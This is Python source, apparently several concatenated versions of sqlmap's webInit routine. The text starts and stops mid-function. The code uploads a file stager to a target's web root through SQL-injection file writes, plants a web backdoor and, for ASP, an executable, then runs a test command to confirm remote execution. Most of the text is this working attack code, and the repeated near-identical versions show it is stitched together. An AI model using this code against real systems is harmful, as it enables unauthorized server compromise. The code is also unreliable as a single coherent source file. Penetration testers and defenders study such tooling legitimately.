decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) warned = set() success = False for i in xrange(len(kb.docRoot)): if success: break for j in xrange(len(directories)): docRoot = kb.docRoot[i] directory = directories[j] uriPath = "" if not all(isinstance(item, basestring) for item in [docRoot, directory]): continue directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue localPath = posixpath.normpath(localPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager self.__webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: if localPath not in warned: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath logger.warn(warnMsg) warned.add(localPath) continue elif "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded " warnMsg += "on '%s' but not dynamically interpreted" % localPath logger.warn(warnMsg) continue elif self.webApi == "aspx": kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if Backend.isOs(OS.WINDOWS): default = WEB_API.ASP else: default = WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for docRoot in arrayizeValue(kb.docRoot): if success: break for directory in directories: uriPath = "" if not all(isinstance(_, basestring) for _ in (docRoot, directory)): continue directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue localPath = posixpath.normpath(localPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager self.__webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager via " infoMsg += "UNION technique" logger.info(infoMsg) handle, filename = mkstemp() os.fdopen(handle).close() # close low level handle (causing problems latter) with open(filename, "w+") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) f.write(utf8encode(_)) self.unionWriteFile(filename, self.webStagerFilePath, "text") uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: continue else: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % localPath warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/') testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = ['asp', 'aspx', 'php', 'jsp'] for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if kb.os == "Windows": default = "asp" else: default = "php" message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = getDirs() directories = list(directories) directories.sort() backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) warned = set() success = False for i in xrange(len(kb.docRoot)): if success: break for j in xrange(len(directories)): docRoot = kb.docRoot[i] directory = directories[j] if not all( isinstance(item, basestring) for item in [docRoot, directory]): continue directory = ntToPosixSlashes(normalizePath(directory)).replace( "//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace( "//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath( directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath( directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath( docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult( r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue uriPath = uriPath.replace("//", "/").rstrip('/') localPath = localPath.rstrip('/') if not uriPath: uriPath = '/' # Upload the file stager self.__webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName) uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) if "sqlmap file uploader" not in uplPage: if localPath not in warned: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath logger.warn(warnMsg) warned.add(localPath) continue elif "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded " warnMsg += "on '%s' but not dynamically interpreted" % localPath logger.warn(warnMsg) continue elif self.webApi == "aspx": kb.data.__EVENTVALIDATION = extractRegexResult( r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) kb.data.__VIEWSTATE = extractRegexResult( r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % ( self.webBaseUrl.rstrip('/'), backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload( backdoorStream, backdoorName, posixToNtSlashes(localPath) if kb.os == "Windows" else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "with file stager probably because of " warnMsg += "lack of write permission." logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [y/N] " getOutput = readInput(message, default="N") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl logger.info(infoMsg) success = True break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath( directory) else directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) handle, filename = mkstemp() os.fdopen(handle).close( ) # close low level handle (causing problems later) with open(filename, "w+") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace( "WRITABLE_DIR", utf8encode( directory.replace('/', '\\\\') if Backend. isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = mkstemp() os.fdopen(handle).close() # close low level handle (causing problems later) with open(filename, "w+") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(utf8encode(_)) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = ['asp', 'aspx', 'php', 'jsp'] for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if kb.os == "Windows": default = "asp" else: default = "php" message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot(self.webApi) directories = getDirs(self.webApi) directories = list(directories) directories.sort() backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: # Upload the file stager self.__webFileInject(stagerContent, stagerName, directory) requestDir = ntToPosixSlashes(directory) if not requestDir: continue if requestDir[-1] != '/': requestDir += '/' requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/") if isWindowsDriveLetterPath(requestDir): requestDir = requestDir[2:] requestDir = normalizePath(requestDir).replace("//", "/") if requestDir[0] != '/': requestDir = '/' + requestDir self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName) self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/")) uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory logger.warn(warnMsg) continue elif "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded " warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, 